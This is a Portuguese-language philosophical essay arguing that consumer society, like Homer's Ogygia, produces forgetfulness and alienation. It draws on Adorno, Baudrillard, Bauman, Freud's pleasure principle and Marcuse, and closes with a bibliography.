A sociedade do consumo e a vida do espírito.

A sociedade do consumo e a vida do espírito.

Por Michel Aires de Souza

        A sociedade do consumo  é a personificação da ilha
de Ogigia, mencionada na Odisséia de Homero,  onde Ulisses ficou sete anos
preso pela ninfa Calipso (aquela que encobre). Ela  vivia em uma gruta, na
encosta de uma montanha. A ninfa  prometia a Ulisses eterna juventude e
prazeres eternos  se ele ficasse com ela.  A ilha é conhecida na cultura grega
como “Campos Elíseos”. É o destino dos heróis após à morte,   concebido como um
paraíso, onde os homens virtuosos descansam. É um lugar florido, arborizante,
de lindas paisagens,  onde os homens se divertem e vivem de prazeres eternos. 
Ali seria encontrado o  rio Lethe, cujo significado grego é “esquecimento”,
“ocultação”. Todo aquele que bebesse desse rio esqueceria sua vida passada.  

        A sociedade do consumo é o modo de produção e 
reprodução material e espiritual  que expande e transforma o consumo de
mercadorias  no principal fator das relações e das práticas sociais.  Tal como
a Ilha de Ogigia, a sociedade de consumo  propicia uma fauna e uma flora de
objetos e prazeres inimagináveis, mas  também  produz  o esquecimento e a
alienação sobre nossas próprias vidas.  Nesta Ogigia dos tempos modernos,  as
pessoas vivem   vidas que não escolheram, se aferram a valores, crenças e modos
de ser e pensar  sem nunca refletirem sobre eles ou sobre suas escolhas. Os
indivíduos não sabem o que querem  e também não sabem o que sentem.  Eles se
comportam de forma irrefletida, apenas vivem para consumir, sem pensar no que
consideram ser seu objetivo de vida ou o que acreditam ser os meios corretos de
alcançá-lo. Eles ignoram o que realmente buscam, o que são, o que desejam, o
que é relevante ou irrelevante para suas vidas.     Viver na sociedade do
consumo é viver num mundo atemporal e do esquecimento.

              Em “Educação e Emancipação”  o filósofo alemão
Theodor Adorno  argumentou que a sociedade burguesa está subordinado de um modo
universal a  lei da troca. Esta por sua própria natureza é atemporal, assim
como o cálculo, as mercadorias e a produção industrial. Não existe tempo na
relações de troca, tal como não existe tempo na racionalidade técnica. Elas são
determinadas por ciclos contínuos e pulsantes.  Com isso,   “a memória, o tempo
e a lembrança são liquidados pela própria sociedade burguesa em seu
desenvolvimento, como se fossem uma espécie de resto irracional (…)” (ADORNO,
1995, p.33).  Para Adorno,  a perda da memória e da  lembrança é bastante útil
na reprodução da sociedade,  uma vez que tem a função de adaptar os indivíduos
as formas de domínio social prevalecentes. “Quando a humanidade se aliena da
memória, esgotando-se sem fôlego na adaptação do existente, nisto reflete-se
uma lei objetiva do desenvolvimento. (Ibidem., p.33)

           O que se evidencia hoje em nossa sociedade, é 
que os homens não se encontram mais  rodeados por outros homens, mas por
objetos. Baudrillard   em seu livro “Sociedade do Consumo”   mostrou-nos que o
conjunto das relações sociais já não é tanto com seus semelhantes, mas com as
coisas. Segundo ele,  “vivemos o tempo dos objetos (…) existimos segundo o seu
ritmo e em conformidade com a sua sucessão permanente” (BAUDRLLARD, 1970,
p.18). Como conseqüência disso, vivemos o não tempo.  Por sua própria natureza 
os objetos são  atemporais. O computador, o MP3, o celular, o Ipod, a
televisão, o eletrodoméstico só reforçam cada vez mais o  individualismo e a
solidão dos indivíduos.    É a superioridade das coisas em detrimento dos
homens.  As relações humanas se reificaram, banindo as relações afetivas. Os
objetos invadiram, conquistaram e colonizaram nossa vida espiritual. Se o tempo
é uma  forma apriori da nossa sensibilidade, se o tempo é uma característica do
pensar humano como afirmou Kant, então o mundo dos objetos é desprovido de
tempo.  Por esta razão, vivemos na intemporalidade. A nossa vida é uma sucessão
de  presentes, desprovido de passado e futuro.

           Na sociedade do consumo o indivíduo é determinado
por uma rotina ininterrupta. Os mesmos gestos, as mesmas atividades,  as mesmas
diversões.  Acordar sempre no mesmo horário, pegar o mesmo ônibus, realizar as
mesma atividade no trabalho, ver os mesmos rostos,  seguir para casa seguindo o
mesmo trajeto. O tempo parece não existir. Zigmunt Bauman no seu livro “Vida
para o consumo” (consuming life)   compreendeu a passagem do tempo na sociedade
do consumo como um tempo pontilhista (pontuado), como uma sucessão de
presentes.  Para ele,  o tempo não é mais linear e cíclico, como costumava ser
para os membros de outras sociedades. O tempo se fragmentou  numa
multiplicidade de “instantes eternos”. Citando as palavras de Mafessoli: “a
vida, seja individual ou social, não passa de uma sucessão de presentes, uma
coleção de instantes experimentados com intensidades variadas” (MAFESSOLI, apud
BAUMAN, 2008, p. 46).  Bauman  citou ainda o termo cunhado por Stephen
Bertman,  “cultura agorista” ou “cultura apressada”, para denotar a maneira 
como vivemos na sociedade do consumo.   Nesta sociedade o consumo é instantâneo
e a remoção é também instantânea de seus objetos. Novos objetos e  necessidades
surgem a todo momento e são consumidos ininterruptamente. É uma profusão de
instantes que se repetem através das mesmas ações e atividades que se
equivalem. Com a perda da noção de tempo o indivíduo encontra-se alienado em
relação a sua própria vida e a sua interioridade,  vive-se apenas para o
trabalho e para o consumo.

          Esse vácuo interior, essa falta de sentido da vida
tem uma conseqüência para a vida espiritual do indivíduo: a violência, as
drogas, as compulsões  e as doenças psíquicas.  Não é  a toa que nossa época é
conhecida como a era dos antidepressivos. A onda de depressão e de  ansiedade
tornou-se um fato comum no mundo contemporâneo. Para  a Organização Mundial da
Saúde até 2020 a depressão se tornará a segunda principal doença em escala
mundial, atrás apenas de doenças cardíacas.  As empresas farmacêuticas chegam a
gastar 25 bilhões de dólares com propagandas de antidepressivos.  Hoje a
depressão já é a primeira causa de incapacidade de adultos acima dos trinta
anos.         

        A sociedade burguesa tornou o consumo o fundamento 
compulsivo da civilização. Vivemos na era das compulsões: compulsão por comida,
compulsão sexual, compulsão por drogas, compulsão por compras. Numa sociedade
onde as relações humanas tornaram-se reificadas, onde a vida dos homens é sem
sentido e fragmentada, o resultado são as compulsões. Toda tensão, conflito,
frustração gera uma grande carga emocional, que geralmente é descarregada num
comportamento compulsivo.  Para os psicólogos e psicanalistas toda compulsão 
serve como uma forma de compensação de nossas frustrações e ansiedades. Nos
entregamos ao excesso para compensar.  Vivemos como na ilha de Ogigia, no reino
do esquecimento, buscando prazeres contínuos e ininterruptos. Estamos sempre
rodeados por infinitas possibilidades de satisfação, sempre a procura de novos
prazeres e objetos que nos satisfaçam.      

            Comprar tornou-se uma necessidade orgânica.
Fazer compras nos propicia um grande prazer e nos faz esquecer.  O consumo é um
momento de  catarse. É a purificação da alma através da identificação com o
objeto.  É o momento supremo de  descarga emocional. Quando consumimos nos
sentimos aliviados de qualquer tensão emocional acumulada. Um dia estressante
de trabalho,  uma discussão com o chefe, o engarrafamento do trânsito, o mal
humor do conjugue, desaparecem da consciência como num passe de mágica.
Esquecemo-nos de nossos problemas, de nossas frustrações e do nosso cotidiano
regular e  monótono. O consumo é um momento lúdico e atemporal de grande
descarga afetiva. 

             A catarse do consumo é equivalente a catarse
religiosa. Nos ritos religiosos observamos uma grande quantidade de descarga
emocional, o indivíduo chora, ri, se deslumbra, sente alegria, êxtase,
contentamento.   Aristóteles foi o primeiro a perceber estes sentimentos no
teatro grego, que surgiu como manifestação religiosa em homenagem aos deuses. 
Ele usou o termo “catarse” para expressar o efeito peculiar exercido pelo
história dramática  sobre os seus espectadores. Na passagem da alegria para a
desgraça do herói,  o espectador experimentaria sentimentos de piedade,
compaixão, terror, repugnância, raiva, alegria.  Para ele, a história teria o
objetivo de purificar os espectadores ao excitar esses afetos que agem como uma
espécie de alivio ou descarga de sua próprias emoções.  Dessa forma,  a catarse
se manifesta num duplo sentido,   como  prazer e como alívio.

          A sociedade do consumo se caracteriza por ser uma
sociedade do prazer e da satisfação. Se estivermos tristes, em depressão ou
tediados basta ir ao shopping e comprar as marcas e os produtos que desejamos 
para recuperarmos  o equilíbrio emocional. Para o homem contemporâneo, não há
nada mais prazeroso do que fazer compras e não há nada mais feliz do que
consumir. Consumir um produto significa sentir-se bem, alegre e feliz. Este
argumento não é especulativo, mas científico. Estudos da neurociências
mostraram que o consumo de um produto  estimula o núcleo accumbens, que
pertence ao sistema límbico e funciona como o centro do prazer. Suas células
nervosas são ativadas por um neurotransmissor, a dopamina, levando à liberação
dos chamados opiáceos endógenos  produzidos pelo próprio organismo. Estas
substâncias estão associadas à sensação de prazer e bem-estar. Dessa forma, o
consumo além de suprir um desejo e uma necessidade causa prazer e torna o
indivíduo alegre e feliz.  

            O diagnóstico acima demonstra que a tese de
Freud, a  de que os indivíduos não poderiam viver sobre o princípio de prazer,
tornou-se uma falácia. Ao refletir sobre o propósito da vida,  Freud chegou à
conclusão de que o objetivo da civilização não é o prazer, mas a renúncia a
ele.  A vida do indivíduo é a busca constante pela realização da satisfação do
prazer, mas esta  satisfação é impossível de realizar num mundo carente e
escasso de recursos.  O mundo é hostil as necessidades humanas, para tudo que é
bom e prazeroso exigem-se trabalhos penosos e sofrimentos. O individuo deve
trabalhar para poder sobreviver. Ele deve abandonar o princípio de prazer e se
submeter ao princípio de realidade. O processo civilizatório é marcado pela
renúncia e pelo sentimento de insatisfação que os homens experimentam vivendo
em sociedade.  Apesar desse diagnóstico,   Freud não esperava que a humanidade
chegasse a um estágio de abundância e satisfação.  Ele não esperava que o
desenvolvimento técnico e científico  possibilitasse aos seres humanos uma
grande quantidade de bens materiais e intelectuais,  capaz de satisfazer
prazeres inimagináveis.

              O principio de prazer e o princípio de
realidades são os dois princípios que regem o funcionamento mental.  Na
evolução da humanidade o ser humano teve que substituir o princípio de prazer
pelo princípio de realidade, uma vez que a o mundo externo é hostil a
satisfação das necessidades humanas. Os processos mentais descritos por Freud 
são regulados  num primeiro momento pelo princípio de prazer. A busca do prazer
é uma luta pelo escoamento livre das quantidades de excitação causado pelo
impacto da realidade externa sob o organismo. O alívio de estímulos seria a
completa gratificação da excitação. Contudo, através do conflito do homem com o
mundo externo surge um outro princípio que deve proteger e reger o
funcionamento mental: o princípio de realidade. Esse princípio aparece
secundariamente como uma modificação do princípio de prazer, tornando-se a
pedra angular dos processos mentais, em particular, dos processos conscientes
(Ego). Foi através do princípio de realidade, no seu confronto com o princípio
de prazer, que o organismo teve que construir defesas que o protegessem dos
desprazeres causado pelo mundo externo.

          Para Freud a substituição do princípio de prazer
pelo princípio de realidade foi necessário na história da civilização. Seu
argumento afirma que o homem para viver em sociedade não pode viver sob o
regime do princípio do prazer.  “Este programa nem se quer é realizável, pois
toda a ordem do universo se opõe a ele e, além disso, estaríamos por afirmar
que no plano da criação não inclui o propósito do homem ser feliz”  (FREUD,
1974, p.3025). No atual estágio da civilização, a teoria da cultura freudiana
tornou-se problemática. O princípio de prazer tomou o lugar do princípio de
realidade. A nossa época provou, ao contrário do que pensava Freud, que a
sociedade pode ser regida pelo princípio de prazer. O diagnóstico de Freud 
falhou, pois ele universalizou a cultura de sua época para toda a história da
civilização. Ele vivia  na época vitoriana, num período de valores éticos como
respeito, civilidade, polidez, considerados as mais elevadas virtudes sociais.
Mas também era  uma época de preconceitos, repressão moral e hipocrisia. Apesar
de viver num período de  desenvolvimento técnico e científico, de
industrialização e de grandes empreendimentos, Freud nunca imaginou que pudesse
existir uma sociedade do consumo, cujo princípio é  o prazer e a satisfação. 

            A primeira característica do princípio de prazer
é que ele busca  uma  satisfação constante.  Entre um prazer e outro nada
melhor que um novo prazer. Este é o princípio compulsivo do aparelho mental. O
objetivo do princípio de prazer é liberar as tensões acumuladas do aparelho
neuronal.   Freud relaciona o prazer e o desprazer à quantidade de excitação
existente neste aparelho.  Corresponde ao prazer a diminuição da quantidade de
excitação e ao desprazer o aumento dessa quantidade. A busca do prazer é uma
luta do organismo para diminuir as quantidades de excitação, causado pelo
impacto da realidade externa sob o organismo. Freud chamou esse mecanismo de
aliviar as tensões de “princípio de constância”, ou seja, é a tendência do
aparelho neuronal em manter a quantidade de excitação  baixa  ou mais constante
possível.  Ele compreende este princípio como um conceito econômico. Cada vez
que a tensão aumenta no aparelho este princípio se encarrega de descarregá-la.

          O princípio de prazer é o fundamento psicológico
da sociedade do consumo. Este princípio não é afetado pelo tempo, ignora
valores bem e mal, moralidade, esforça-se simplesmente pela satisfação de suas
necessidades instintivas.  Ele é compulsivo em sua própria essência. Daí a
explicação para as compulsões e a descarga emocional que os produtos da
sociedade do consumo propiciam.  O consumo propicia uma grande prazer aliviando
as tensões do dia-a-dia enfrentado por milhões de seres humanos.

           A sociedade do consumo pode ser definida
utilizando a terminologia de Herbert Marcuse, como “unidimensional”. É
unidimensional na medida em o aparato produtivo e as mercadorias se impõem ao
sistema social como um todo. As mercadorias, os produtos, os entretenimentos,
os transportes, a alimentação trazem consigo atitudes, hábitos, emoções e
formas de ser e pensar. Prendem, assim, os consumidores agradavelmente aos
produtos e formas de bem-estar social. Os produtos desta sociedade invadiram a
dimensão interior do homem submetendo-a as formas de domínio social
prevalecentes O próprio indivíduo reproduz e perpetua os controles externos em
sua consciência. Essa introjeção ocorre a partir de processos relativamente
espontâneo, onde o “Eu” transfere o exterior para seu interior.  A produção,
distribuição de mercadorias, o trabalho e os entretenimentos idiotizados
tomaram a vida espiritual do indivíduo.

 Bibliografia

 ADORNO, Theodor. Educação e emancipação.  São Paulo: Paz e
Terra, 1995.

 BAUDRILLARD, Jean.  La société de
consommation: ses mythes, ses structures.
Paris: Edition Danoël, 1970.

 BAUMAN, Zigmunt. Vida para o consumo: a transformação das
pessoas em mercadoria. Rio de janeiro: Jorge Zahar Ed, 2008.

FREUD, S. El Malestar en la cultura. Madri, Ed. Standard,
Obras completas, Tomo VIII, Madri,  1974.

MARCUSE, H. A ideologia da sociedade indústrial. Rio de
janeiro:Zahar, 1967.

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